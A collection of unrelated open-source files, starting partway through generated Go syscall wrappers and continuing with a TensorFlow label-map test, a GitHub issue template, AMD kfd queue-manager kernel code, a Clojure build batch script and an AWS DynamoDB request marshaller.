uintptr(offset>>32)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Pwrite(fd int, p []byte, offset int64) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall6(SYS_PWRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)), 0, uintptr(offset), uintptr(offset>>32)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func read(fd int, p []byte) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Readlink(path string, buf []byte) (n int, err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 unsafe.Pointer if len(buf) > 0 { _p1 = unsafe.Pointer(&buf[0]) } else { _p1 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_READLINK, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(buf))) use(unsafe.Pointer(_p0)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Rename(from string, to string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(from) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(to) if err != nil { return } _, _, e1 := Syscall(SYS_RENAME, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) use(unsafe.Pointer(_p0)) use(unsafe.Pointer(_p1)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Revoke(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_REVOKE, uintptr(unsafe.Pointer(_p0)), 0, 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Rmdir(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_RMDIR, uintptr(unsafe.Pointer(_p0)), 0, 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Seek(fd int, offset int64, whence int) (newoffset int64, err error) { r0, r1, e1 := Syscall6(SYS_LSEEK, uintptr(fd), 0, uintptr(offset), uintptr(offset>>32), uintptr(whence), 0) newoffset = int64(int64(r1)<<32 | int64(r0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Select(n int, r *FdSet, w *FdSet, e *FdSet, timeout *Timeval) (err error) { _, _, e1 := Syscall6(SYS_SELECT, uintptr(n), uintptr(unsafe.Pointer(r)), uintptr(unsafe.Pointer(w)), uintptr(unsafe.Pointer(e)), uintptr(unsafe.Pointer(timeout)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setegid(egid int) (err error) { _, _, e1 := RawSyscall(SYS_SETEGID, uintptr(egid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Seteuid(euid int) (err error) { _, _, e1 := RawSyscall(SYS_SETEUID, uintptr(euid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setgid(gid int) (err error) { _, _, e1 := RawSyscall(SYS_SETGID, uintptr(gid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpgid(pid int, pgid int) (err error) { _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setpriority(which int, who int, prio int) (err error) { _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setregid(rgid int, egid int) (err error) { _, _, e1 := RawSyscall(SYS_SETREGID, uintptr(rgid), uintptr(egid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setreuid(ruid int, euid int) (err error) { _, _, e1 := RawSyscall(SYS_SETREUID, uintptr(ruid), uintptr(euid), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setrlimit(which int, lim *Rlimit) (err error) { _, _, e1 := RawSyscall(SYS_SETRLIMIT, uintptr(which), uintptr(unsafe.Pointer(lim)), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setsid() (pid int, err error) { r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0) pid = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Settimeofday(tp *Timeval) (err error) { _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tp)), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Setuid(uid int) (err error) { _, _, e1 := RawSyscall(SYS_SETUID, uintptr(uid), 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Stat(path string, stat *Stat_t) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_STAT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(stat)), 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Symlink(path string, link string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } var _p1 *byte _p1, err = BytePtrFromString(link) if err != nil { return } _, _, e1 := Syscall(SYS_SYMLINK, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0) use(unsafe.Pointer(_p0)) use(unsafe.Pointer(_p1)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Sync() (err error) { _, _, e1 := Syscall(SYS_SYNC, 0, 0, 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Truncate(path string, length int64) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall6(SYS_TRUNCATE, uintptr(unsafe.Pointer(_p0)), 0, uintptr(length), uintptr(length>>32), 0, 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Umask(newmask int) (oldmask int) { r0, _, _ := Syscall(SYS_UMASK, uintptr(newmask), 0, 0) oldmask = int(r0) return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unlink(path string) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UNLINK, uintptr(unsafe.Pointer(_p0)), 0, 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func Unmount(path string, flags int) (err error) { var _p0 *byte _p0, err = BytePtrFromString(path) if err != nil { return } _, _, e1 := Syscall(SYS_UNMOUNT, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0) use(unsafe.Pointer(_p0)) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func write(fd int, p []byte) (n int, err error) { var _p0 unsafe.Pointer if len(p) > 0 { _p0 = unsafe.Pointer(&p[0]) } else { _p0 = unsafe.Pointer(&_zero) } r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p))) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func mmap(addr uintptr, length uintptr, prot int, flag int, fd int, pos int64) (ret uintptr, err error) { r0, _, e1 := Syscall9(SYS_MMAP, uintptr(addr), uintptr(length), uintptr(prot), uintptr(flag), uintptr(fd), 0, uintptr(pos), uintptr(pos>>32), 0) ret = uintptr(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func munmap(addr uintptr, length uintptr) (err error) { _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func readlen(fd int, buf *byte, nbuf int) (n int, err error) { r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return } // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT func writelen(fd int, buf *byte, nbuf int) (n int, err error) { r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(buf)), uintptr(nbuf)) n = int(r0) if e1 != 0 { err = errnoErr(e1) } return }
{ "pile_set_name": "Github" }
# Copyright 2017 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """Tests for object_detection.utils.label_map_util.""" import os import tensorflow as tf from google.protobuf import text_format from object_detection.protos import string_int_label_map_pb2 from object_detection.utils import label_map_util class LabelMapUtilTest(tf.test.TestCase): def _generate_label_map(self, num_classes): label_map_proto = string_int_label_map_pb2.StringIntLabelMap() for i in range(1, num_classes + 1): item = label_map_proto.item.add() item.id = i item.name = 'label_' + str(i) item.display_name = str(i) return label_map_proto def test_get_label_map_dict(self): label_map_string = """ item { id:2 name:'cat' } item { id:1 name:'dog' } """ label_map_path = os.path.join(self.get_temp_dir(), 'label_map.pbtxt') with tf.gfile.Open(label_map_path, 'wb') as f: f.write(label_map_string) label_map_dict = label_map_util.get_label_map_dict(label_map_path) self.assertEqual(label_map_dict['dog'], 1) self.assertEqual(label_map_dict['cat'], 2) def test_get_label_map_dict_display(self): label_map_string = """ item { id:2 display_name:'cat' } item { id:1 display_name:'dog' } """ label_map_path = os.path.join(self.get_temp_dir(), 'label_map.pbtxt') with tf.gfile.Open(label_map_path, 'wb') as f: f.write(label_map_string) label_map_dict = label_map_util.get_label_map_dict( label_map_path, use_display_name=True) self.assertEqual(label_map_dict['dog'], 1) self.assertEqual(label_map_dict['cat'], 2) def test_load_bad_label_map(self): label_map_string = """ item { id:0 name:'class that should not be indexed at zero' } item { id:2 name:'cat' } item { id:1 name:'dog' } """ label_map_path = os.path.join(self.get_temp_dir(), 'label_map.pbtxt') with tf.gfile.Open(label_map_path, 'wb') as f: f.write(label_map_string) with self.assertRaises(ValueError): label_map_util.load_labelmap(label_map_path) def test_keep_categories_with_unique_id(self): label_map_proto = string_int_label_map_pb2.StringIntLabelMap() label_map_string = """ item { id:2 name:'cat' } item { id:1 name:'child' } item { id:1 name:'person' } item { id:1 name:'n00007846' } """ text_format.Merge(label_map_string, label_map_proto) categories = label_map_util.convert_label_map_to_categories( label_map_proto, max_num_classes=3) self.assertListEqual([{ 'id': 2, 'name': u'cat' }, { 'id': 1, 'name': u'child' }], categories) def test_convert_label_map_to_categories_no_label_map(self): categories = label_map_util.convert_label_map_to_categories( None, max_num_classes=3) expected_categories_list = [{ 'name': u'category_1', 'id': 1 }, { 'name': u'category_2', 'id': 2 }, { 'name': u'category_3', 'id': 3 }] self.assertListEqual(expected_categories_list, categories) def test_convert_label_map_to_coco_categories(self): label_map_proto = self._generate_label_map(num_classes=4) categories = label_map_util.convert_label_map_to_categories( label_map_proto, max_num_classes=3) expected_categories_list = [{ 'name': u'1', 'id': 1 }, { 'name': u'2', 'id': 2 }, { 'name': u'3', 'id': 3 }] self.assertListEqual(expected_categories_list, categories) def test_convert_label_map_to_coco_categories_with_few_classes(self): label_map_proto = self._generate_label_map(num_classes=4) cat_no_offset = label_map_util.convert_label_map_to_categories( label_map_proto, max_num_classes=2) expected_categories_list = [{ 'name': u'1', 'id': 1 }, { 'name': u'2', 'id': 2 }] self.assertListEqual(expected_categories_list, cat_no_offset) def test_create_category_index(self): categories = [{'name': u'1', 'id': 1}, {'name': u'2', 'id': 2}] category_index = label_map_util.create_category_index(categories) self.assertDictEqual({ 1: { 'name': u'1', 'id': 1 }, 2: { 'name': u'2', 'id': 2 } }, category_index) def test_create_category_index_from_labelmap(self): label_map_string = """ item { id:2 name:'cat' } item { id:1 name:'dog' } """ label_map_path = os.path.join(self.get_temp_dir(), 'label_map.pbtxt') with tf.gfile.Open(label_map_path, 'wb') as f: f.write(label_map_string) category_index = label_map_util.create_category_index_from_labelmap( label_map_path) self.assertDictEqual({ 1: { 'name': u'dog', 'id': 1 }, 2: { 'name': u'cat', 'id': 2 } }, category_index) if __name__ == '__main__': tf.test.main()
{ "pile_set_name": "Github" }
## Feature Request / Bug Report (leave the one that fits) Describe here the feature request, or the bug you are reporting. ### (if it's a Feature request) Use case: Describe here a situation os specific case in which you could make use of this feature. You can also suggest how to use/implement it's _API_ or _interface_. ### (if it's a bug report) What is happening: Describe here what is happening, if it is a bug report. ### (if it's a bug report) What is supposed to happen: Describe here what should happen, if it is a bug report. ### (if it's a bug report) Environment: Operational System: Browser: Node version:
{ "pile_set_name": "Github" }
/* * Copyright 2014 Advanced Micro Devices, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * */ #include <linux/slab.h> #include <linux/list.h> #include "kfd_device_queue_manager.h" #include "kfd_priv.h" #include "kfd_kernel_queue.h" static inline struct process_queue_node *get_queue_by_qid( struct process_queue_manager *pqm, unsigned int qid) { struct process_queue_node *pqn; BUG_ON(!pqm); list_for_each_entry(pqn, &pqm->queues, process_queue_list) { if (pqn->q && pqn->q->properties.queue_id == qid) return pqn; if (pqn->kq && pqn->kq->queue->properties.queue_id == qid) return pqn; } return NULL; } static int find_available_queue_slot(struct process_queue_manager *pqm, unsigned int *qid) { unsigned long found; BUG_ON(!pqm || !qid); pr_debug("kfd: in %s\n", __func__); found = find_first_zero_bit(pqm->queue_slot_bitmap, KFD_MAX_NUM_OF_QUEUES_PER_PROCESS); pr_debug("kfd: the new slot id %lu\n", found); if (found >= KFD_MAX_NUM_OF_QUEUES_PER_PROCESS) { pr_info("amdkfd: Can not open more queues for process with pasid %d\n", pqm->process->pasid); return -ENOMEM; } set_bit(found, pqm->queue_slot_bitmap); *qid = found; return 0; } int pqm_init(struct process_queue_manager *pqm, struct kfd_process *p) { BUG_ON(!pqm); INIT_LIST_HEAD(&pqm->queues); pqm->queue_slot_bitmap = kzalloc(DIV_ROUND_UP(KFD_MAX_NUM_OF_QUEUES_PER_PROCESS, BITS_PER_BYTE), GFP_KERNEL); if (pqm->queue_slot_bitmap == NULL) return -ENOMEM; pqm->process = p; return 0; } void pqm_uninit(struct process_queue_manager *pqm) { int retval; struct process_queue_node *pqn, *next; BUG_ON(!pqm); pr_debug("In func %s\n", __func__); list_for_each_entry_safe(pqn, next, &pqm->queues, process_queue_list) { retval = pqm_destroy_queue( pqm, (pqn->q != NULL) ? pqn->q->properties.queue_id : pqn->kq->queue->properties.queue_id); if (retval != 0) { pr_err("kfd: failed to destroy queue\n"); return; } } kfree(pqm->queue_slot_bitmap); pqm->queue_slot_bitmap = NULL; } static int create_cp_queue(struct process_queue_manager *pqm, struct kfd_dev *dev, struct queue **q, struct queue_properties *q_properties, struct file *f, unsigned int qid) { int retval; retval = 0; /* Doorbell initialized in user space*/ q_properties->doorbell_ptr = NULL; q_properties->doorbell_off = kfd_queue_id_to_doorbell(dev, pqm->process, qid); /* let DQM handle it*/ q_properties->vmid = 0; q_properties->queue_id = qid; retval = init_queue(q, *q_properties); if (retval != 0) goto err_init_queue; (*q)->device = dev; (*q)->process = pqm->process; pr_debug("kfd: PQM After init queue"); return retval; err_init_queue: return retval; } int pqm_create_queue(struct process_queue_manager *pqm, struct kfd_dev *dev, struct file *f, struct queue_properties *properties, unsigned int flags, enum kfd_queue_type type, unsigned int *qid) { int retval; struct kfd_process_device *pdd; struct queue_properties q_properties; struct queue *q; struct process_queue_node *pqn; struct kernel_queue *kq; int num_queues = 0; struct queue *cur; BUG_ON(!pqm || !dev || !properties || !qid); memset(&q_properties, 0, sizeof(struct queue_properties)); memcpy(&q_properties, properties, sizeof(struct queue_properties)); q = NULL; kq = NULL; pdd = kfd_get_process_device_data(dev, pqm->process); if (!pdd) { pr_err("Process device data doesn't exist\n"); return -1; } /* * for debug process, verify that it is within the static queues limit * currently limit is set to half of the total avail HQD slots * If we are just about to create DIQ, the is_debug flag is not set yet * Hence we also check the type as well */ if ((pdd->qpd.is_debug) || (type == KFD_QUEUE_TYPE_DIQ)) { list_for_each_entry(cur, &pdd->qpd.queues_list, list) num_queues++; if (num_queues >= dev->device_info->max_no_of_hqd/2) return (-ENOSPC); } retval = find_available_queue_slot(pqm, qid); if (retval != 0) return retval; if (list_empty(&pqm->queues)) { pdd->qpd.pqm = pqm; dev->dqm->ops.register_process(dev->dqm, &pdd->qpd); } pqn = kzalloc(sizeof(struct process_queue_node), GFP_KERNEL); if (!pqn) { retval = -ENOMEM; goto err_allocate_pqn; } switch (type) { case KFD_QUEUE_TYPE_SDMA: case KFD_QUEUE_TYPE_COMPUTE: /* check if there is over subscription */ if ((sched_policy == KFD_SCHED_POLICY_HWS_NO_OVERSUBSCRIPTION) && ((dev->dqm->processes_count >= VMID_PER_DEVICE) || (dev->dqm->queue_count >= PIPE_PER_ME_CP_SCHEDULING * QUEUES_PER_PIPE))) { pr_err("kfd: over-subscription is not allowed in radeon_kfd.sched_policy == 1\n"); retval = -EPERM; goto err_create_queue; } retval = create_cp_queue(pqm, dev, &q, &q_properties, f, *qid); if (retval != 0) goto err_create_queue; pqn->q = q; pqn->kq = NULL; retval = dev->dqm->ops.create_queue(dev->dqm, q, &pdd->qpd, &q->properties.vmid); pr_debug("DQM returned %d for create_queue\n", retval); print_queue(q); break; case KFD_QUEUE_TYPE_DIQ: kq = kernel_queue_init(dev, KFD_QUEUE_TYPE_DIQ); if (kq == NULL) { retval = -ENOMEM; goto err_create_queue; } kq->queue->properties.queue_id = *qid; pqn->kq = kq; pqn->q = NULL; retval = dev->dqm->ops.create_kernel_queue(dev->dqm, kq, &pdd->qpd); break; default: BUG(); break; } if (retval != 0) { pr_debug("Error dqm create queue\n"); goto err_create_queue; } pr_debug("kfd: PQM After DQM create queue\n"); list_add(&pqn->process_queue_list, &pqm->queues); if (q) { *properties = q->properties; pr_debug("kfd: PQM done creating queue\n"); print_queue_properties(properties); } return retval; err_create_queue: kfree(pqn); err_allocate_pqn: /* check if queues list is empty unregister process from device */ clear_bit(*qid, pqm->queue_slot_bitmap); if (list_empty(&pqm->queues)) dev->dqm->ops.unregister_process(dev->dqm, &pdd->qpd); return retval; } int pqm_destroy_queue(struct process_queue_manager *pqm, unsigned int qid) { struct process_queue_node *pqn; struct kfd_process_device *pdd; struct device_queue_manager *dqm; struct kfd_dev *dev; int retval; dqm = NULL; BUG_ON(!pqm); retval = 0; pr_debug("kfd: In Func %s\n", __func__); pqn = get_queue_by_qid(pqm, qid); if (pqn == NULL) { pr_err("kfd: queue id does not match any known queue\n"); return -EINVAL; } dev = NULL; if (pqn->kq) dev = pqn->kq->dev; if (pqn->q) dev = pqn->q->device; BUG_ON(!dev); pdd = kfd_get_process_device_data(dev, pqm->process); if (!pdd) { pr_err("Process device data doesn't exist\n"); return -1; } if (pqn->kq) { /* destroy kernel queue (DIQ) */ dqm = pqn->kq->dev->dqm; dqm->ops.destroy_kernel_queue(dqm, pqn->kq, &pdd->qpd); kernel_queue_uninit(pqn->kq); } if (pqn->q) { dqm = pqn->q->device->dqm; retval = dqm->ops.destroy_queue(dqm, &pdd->qpd, pqn->q); if (retval != 0) return retval; uninit_queue(pqn->q); } list_del(&pqn->process_queue_list); kfree(pqn); clear_bit(qid, pqm->queue_slot_bitmap); if (list_empty(&pqm->queues)) dqm->ops.unregister_process(dqm, &pdd->qpd); return retval; } int pqm_update_queue(struct process_queue_manager *pqm, unsigned int qid, struct queue_properties *p) { int retval; struct process_queue_node *pqn; BUG_ON(!pqm); pqn = get_queue_by_qid(pqm, qid); if (!pqn) { pr_debug("amdkfd: No queue %d exists for update operation\n", qid); return -EFAULT; } pqn->q->properties.queue_address = p->queue_address; pqn->q->properties.queue_size = p->queue_size; pqn->q->properties.queue_percent = p->queue_percent; pqn->q->properties.priority = p->priority; retval = pqn->q->device->dqm->ops.update_queue(pqn->q->device->dqm, pqn->q); if (retval != 0) return retval; return 0; } struct kernel_queue *pqm_get_kernel_queue( struct process_queue_manager *pqm, unsigned int qid) { struct process_queue_node *pqn; BUG_ON(!pqm); pqn = get_queue_by_qid(pqm, qid); if (pqn && pqn->kq) return pqn->kq; return NULL; }
{ "pile_set_name": "Github" }
@echo off lein trampoline run -m clojure.main scripts\build.clj
{ "pile_set_name": "Github" }
/* * Copyright 2010-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"). * You may not use this file except in compliance with the License. * A copy of the License is located at * * http://aws.amazon.com/apache2.0 * * or in the "license" file accompanying this file. This file is distributed * on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either * express or implied. See the License for the specific language governing * permissions and limitations under the License. */ package com.amazonaws.services.dynamodbv2.model.transform; import static com.amazonaws.util.StringUtils.UTF8; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.OutputStreamWriter; import java.io.StringWriter; import java.io.Writer; import com.amazonaws.AmazonClientException; import com.amazonaws.Request; import com.amazonaws.DefaultRequest; import com.amazonaws.http.HttpMethodName; import com.amazonaws.services.dynamodbv2.model.*; import com.amazonaws.transform.Marshaller; import com.amazonaws.util.BinaryUtils; import com.amazonaws.util.StringUtils; import com.amazonaws.util.StringInputStream; import com.amazonaws.util.json.AwsJsonWriter; import com.amazonaws.util.json.JsonUtils; /** * JSON request marshaller for UpdateItemRequest */ public class UpdateItemRequestMarshaller implements Marshaller<Request<UpdateItemRequest>, UpdateItemRequest> { public Request<UpdateItemRequest> marshall(UpdateItemRequest updateItemRequest) { if (updateItemRequest == null) { throw new AmazonClientException( "Invalid argument passed to marshall(UpdateItemRequest)"); } Request<UpdateItemRequest> request = new DefaultRequest<UpdateItemRequest>( updateItemRequest, "AmazonDynamoDB"); String target = "DynamoDB_20120810.UpdateItem"; request.addHeader("X-Amz-Target", target); request.setHttpMethod(HttpMethodName.POST); String uriResourcePath = "/"; request.setResourcePath(uriResourcePath); try { StringWriter stringWriter = new StringWriter(); AwsJsonWriter jsonWriter = JsonUtils.getJsonWriter(stringWriter); jsonWriter.beginObject(); if (updateItemRequest.getTableName() != null) { String tableName = updateItemRequest.getTableName(); jsonWriter.name("TableName"); jsonWriter.value(tableName); } if (updateItemRequest.getKey() != null) { java.util.Map<String, AttributeValue> key = updateItemRequest.getKey(); jsonWriter.name("Key"); jsonWriter.beginObject(); for (java.util.Map.Entry<String, AttributeValue> keyEntry : key.entrySet()) { AttributeValue keyValue = keyEntry.getValue(); if (keyValue != null) { jsonWriter.name(keyEntry.getKey()); AttributeValueJsonMarshaller.getInstance().marshall(keyValue, jsonWriter); } } jsonWriter.endObject(); } if (updateItemRequest.getAttributeUpdates() != null) { java.util.Map<String, AttributeValueUpdate> attributeUpdates = updateItemRequest .getAttributeUpdates(); jsonWriter.name("AttributeUpdates"); jsonWriter.beginObject(); for (java.util.Map.Entry<String, AttributeValueUpdate> attributeUpdatesEntry : attributeUpdates .entrySet()) { AttributeValueUpdate attributeUpdatesValue = attributeUpdatesEntry.getValue(); if (attributeUpdatesValue != null) { jsonWriter.name(attributeUpdatesEntry.getKey()); AttributeValueUpdateJsonMarshaller.getInstance().marshall( attributeUpdatesValue, jsonWriter); } } jsonWriter.endObject(); } if (updateItemRequest.getExpected() != null) { java.util.Map<String, ExpectedAttributeValue> expected = updateItemRequest .getExpected(); jsonWriter.name("Expected"); jsonWriter.beginObject(); for (java.util.Map.Entry<String, ExpectedAttributeValue> expectedEntry : expected .entrySet()) { ExpectedAttributeValue expectedValue = expectedEntry.getValue(); if (expectedValue != null) { jsonWriter.name(expectedEntry.getKey()); ExpectedAttributeValueJsonMarshaller.getInstance().marshall(expectedValue, jsonWriter); } } jsonWriter.endObject(); } if (updateItemRequest.getConditionalOperator() != null) { String conditionalOperator = updateItemRequest.getConditionalOperator(); jsonWriter.name("ConditionalOperator"); jsonWriter.value(conditionalOperator); } if (updateItemRequest.getReturnValues() != null) { String returnValues = updateItemRequest.getReturnValues(); jsonWriter.name("ReturnValues"); jsonWriter.value(returnValues); } if (updateItemRequest.getReturnConsumedCapacity() != null) { String returnConsumedCapacity = updateItemRequest.getReturnConsumedCapacity(); jsonWriter.name("ReturnConsumedCapacity"); jsonWriter.value(returnConsumedCapacity); } if (updateItemRequest.getReturnItemCollectionMetrics() != null) { String returnItemCollectionMetrics = updateItemRequest .getReturnItemCollectionMetrics(); jsonWriter.name("ReturnItemCollectionMetrics"); jsonWriter.value(returnItemCollectionMetrics); } if (updateItemRequest.getUpdateExpression() != null) { String updateExpression = updateItemRequest.getUpdateExpression(); jsonWriter.name("UpdateExpression"); jsonWriter.value(updateExpression); } if (updateItemRequest.getConditionExpression() != null) { String conditionExpression = updateItemRequest.getConditionExpression(); jsonWriter.name("ConditionExpression"); jsonWriter.value(conditionExpression); } if (updateItemRequest.getExpressionAttributeNames() != null) { java.util.Map<String, String> expressionAttributeNames = updateItemRequest .getExpressionAttributeNames(); jsonWriter.name("ExpressionAttributeNames"); jsonWriter.beginObject(); for (java.util.Map.Entry<String, String> expressionAttributeNamesEntry : expressionAttributeNames .entrySet()) { String expressionAttributeNamesValue = expressionAttributeNamesEntry.getValue(); if (expressionAttributeNamesValue != null) { jsonWriter.name(expressionAttributeNamesEntry.getKey()); jsonWriter.value(expressionAttributeNamesValue); } } jsonWriter.endObject(); } if (updateItemRequest.getExpressionAttributeValues() != null) { java.util.Map<String, AttributeValue> expressionAttributeValues = updateItemRequest .getExpressionAttributeValues(); jsonWriter.name("ExpressionAttributeValues"); jsonWriter.beginObject(); for (java.util.Map.Entry<String, AttributeValue> expressionAttributeValuesEntry : expressionAttributeValues .entrySet()) { AttributeValue expressionAttributeValuesValue = expressionAttributeValuesEntry .getValue(); if (expressionAttributeValuesValue != null) { jsonWriter.name(expressionAttributeValuesEntry.getKey()); AttributeValueJsonMarshaller.getInstance().marshall( expressionAttributeValuesValue, jsonWriter); } } jsonWriter.endObject(); } jsonWriter.endObject(); jsonWriter.close(); String snippet = stringWriter.toString(); byte[] content = snippet.getBytes(UTF8); request.setContent(new StringInputStream(snippet)); request.addHeader("Content-Length", Integer.toString(content.length)); } catch (Throwable t) { throw new AmazonClientException( "Unable to marshall request to JSON: " + t.getMessage(), t); } if (!request.getHeaders().containsKey("Content-Type")) { request.addHeader("Content-Type", "application/x-amz-json-1.0"); } return request; } }
{ "pile_set_name": "Github" }
